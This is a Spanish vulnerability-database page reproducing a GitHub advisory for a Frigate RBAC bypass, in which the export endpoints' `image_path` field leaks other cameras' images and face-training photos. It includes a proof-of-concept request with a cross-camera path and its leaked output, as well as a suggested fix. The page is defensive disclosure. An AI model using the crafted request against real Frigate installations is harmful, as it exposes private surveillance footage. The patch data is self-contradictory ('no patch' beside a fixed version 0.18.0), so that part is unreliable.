llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · Frigate

GHSA-XWHM-9623-6R35

Omisión de RBAC: divulgación de imágenes entre cámaras mediante image_path en los endpoints de exportación

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición43 dDesde la divulgación, 9 oct 2026, 7:51 a. m.
Detección40 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Paso a paso, como subiendo al Cotopaxi.Agenda, parchea y celebra con un mate.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
9 oct 26
18 nov 26
21 nov 26
9 oct 26
20 oct 26
31 oct 26
10 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-XWHM-9623-6R35 divulgada · CVSS 6.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Resumen

El control de acceso basado en roles (RBAC) de Frigate (`auth.roles`) permite que un administrador restrinja a un usuario a un subconjunto de cámaras. Todos los endpoints que devuelven o actúan sobre datos con alcance por cámara aplican esta restricción mediante `require_camera_access()` / `get_allowed_cameras_for_filter()`.

Los endpoints de exportación de grabaciones aceptan un segundo campo independiente, `image_path`, que se usa para tomar la miniatura de una nueva exportación a partir de una imagen existente. Este campo solo se sanea para verificar que no haya recorrido de rutas fuera de `CLIPS_DIR` (`_sanitize_existing_image()`); nunca se comprueba contra la cámara que la dependencia de RBAC acaba de autorizar. `CLIPS_DIR` es un directorio compartido por todas las cámaras, por lo que un usuario restringido a la cámara A puede crear una exportación legítima para la cámara A (superando la verificación de ACL) y apuntar `image_path` a un archivo dentro del directorio de la cámara B.

El worker de exportación en segundo plano (`RecordingExporter.save_thumbnail`) entonces hace lo siguiente:

if self.user_provided_image is not None and os.path.isfile(self.user_provided_image):
    shutil.copy(self.user_provided_image, thumb_path)  # frigate/record/export.py:589
    return thumb_path

sin comprobar que `self.user_provided_image` pertenezca realmente a `self.camera`. El archivo copiado se convierte en la miniatura de la exportación autorizada del solicitante, que luego puede descargar legítimamente. De este modo se exfiltra contenido de imágenes de una cámara (o del directorio de entrenamiento biométrico `faces/`) a la que nunca se le concedió acceso.

Este es un error del tipo "dos funciones seguras de forma independiente se combinan de forma insegura": la protección contra recorrido de rutas y el RBAC por cámara se implementaron correctamente por separado, pero nada los verifica entre sí para este campo.

Código afectado (archivo:línea, `master` actual)

  • `frigate/api/export.py:131-145`: `_sanitize_existing_image()` valida solo el recorrido y la contención bajo `CLIPS_DIR`, nunca el alcance por cámara.
  • `frigate/api/export.py:636-786` (`export_recordings_batch`, `POST /exports/batch`): verificación de ACL por elemento en `frigate/api/export.py:666-675`, completamente independiente de la sanitización de `image_path` en `frigate/api/export.py:680-686`.
  • `frigate/api/export.py:802-829` (`export_recording`, `POST /export/{camera_name}/start/{start_time}/end/{end_time}`): mismo patrón. `require_camera_access` controla `camera_name`, mientras que `body.image_path` se sanea de forma independiente.
  • `frigate/api/export.py:943-967` (`export_recording_custom`, `POST /export/{camera_name}/customize/start/{start}/end/{end}`): mismo patrón.
  • `frigate/record/export.py:583-590` (`RecordingExporter.save_thumbnail`): el destino, con una llamada incondicional a `shutil.copy(self.user_provided_image, thumb_path)`.
  • `frigate/record/export.py:896-928` (`RecordingExporter.run`): confirma que la copia y `Export.insert()` (que persiste `thumb_path`) ocurren antes de cualquier paso de codificación de video con FFmpeg.

Prueba de concepto

Se reprodujo de extremo a extremo contra la fábrica de aplicaciones de producción `frigate.api.fastapi_app.create_fastapi_app()`, usando `TestClient` de FastAPI (manejo real de solicitudes ASGI), una base de datos SQLite temporal real migrada con las migraciones `peewee_migrate` propias de Frigate, y el hilo real de `RecordingExporter` ejecutando un `shutil.copy()` real de un archivo real en disco.

Solo se simuló la pila de dependencias de ML/detección no relacionada (`cv2`, TensorFlow, ONNX Runtime, etc.). Ninguno de esos módulos forma parte de la ruta vulnerable.

Configuración
config = {
    "auth": {
        "roles": {
            "limited_user": ["front_door"]
        }
    },
    "cameras": {
        "front_door": {...},
        "back_door": {...},
    },
}

# miniatura privada de back_door, NO accesible para limited_user:
open(
    f"{CLIPS_DIR}/thumbs/back_door/private.jpg",
    "wb",
).write(SECRET_BYTES)
Ataque

Como `limited_user`, se envía una solicitud HTTP real a través de la aplicación de producción:

POST /exports/batch
X-Remote-Role: limited_user
Content-Type: application/json

{
  "items": [
    {
      "camera": "front_door",
      "start_time": ...,
      "end_time": ...,
      "image_path": "/.../clips/thumbs/back_door/private.jpg"
    }
  ]
}
Resultado observado
[attack] response status=202
{
    'success': True,
    'export_id': 'front_door_xfw459',
    ...
}

[verify] Export DB row:
camera=front_door
thumb_path=.../export/front_door_xfw459.webp

[verify] thumbnail file contents:
b'BACK_DOOR_PRIVATE_CAMERA_SNAPSHOT_...'

!!! VULNERABLE: back_door's private image was copied into
    limited_user's own front_door export thumbnail !!!

[verify] GET /exports/front_door_xfw459 (as limited_user) -> 200

[verify] thumb_path=.../export/front_door_xfw459.webp
(their own export — legitimately downloadable)

`limited_user` nunca tuvo `back_door` en su lista de permitidos en ningún momento. La solicitud no fue rechazada por el `image_path` que no correspondía, y los bytes filtrados pueden verificarse byte a byte en la miniatura registrada en la base de datos, que el propio usuario puede descargar.

Impacto

Cualquier usuario con permisos de creación de exportaciones en al menos una cámara puede exfiltrar un archivo arbitrario de cualquier ubicación bajo `CLIPS_DIR`, incluyendo:

  • Clips y miniaturas de otras cámaras, incluidas las cámaras restringidas a administradores.
  • El directorio `faces/`, que contiene fotos de entrenamiento para el reconocimiento facial de personas identificadas.

Es un problema que afecta solo a la confidencialidad; no se identificó impacto en la integridad ni en la disponibilidad.

Tampoco es una regresión de la protección existente contra recorrido de rutas: la contención fuera de `CLIPS_DIR` sigue corregida. El problema es específicamente una brecha de alcance y verificación cruzada entre la contención en el sistema de archivos y la autorización por cámara.

Corrección sugerida

En `_sanitize_existing_image()` (o en sus puntos de llamada), exigir además que el componente del nombre de cámara de la ruta de imagen resuelta, siguiendo el mismo criterio de análisis de directorios por cámara que ya usa `media_auth.py` en otras partes del código, sea igual al `camera` / `camera_name` del propio elemento de exportación.

Rechazar la solicitud si la ruta pertenece a otra cámara o a un directorio no asociado a una cámara, salvo que ese directorio esté autorizado explícitamente.

Esto reflejaría la verificación existente en `export.py:666-675` y garantizaría que la autorización del campo `camera` de la exportación también limite el `image_path` controlado por el usuario.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
Frigate< 0.18.0
0.7.0
0.18.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiFrigate
Sin parche — — 0.7.0 afectada
Versiones corregidas0.18.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/blakeblackshear/frigate/security/advisories/GHSA-xwhm-9623-6r35

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.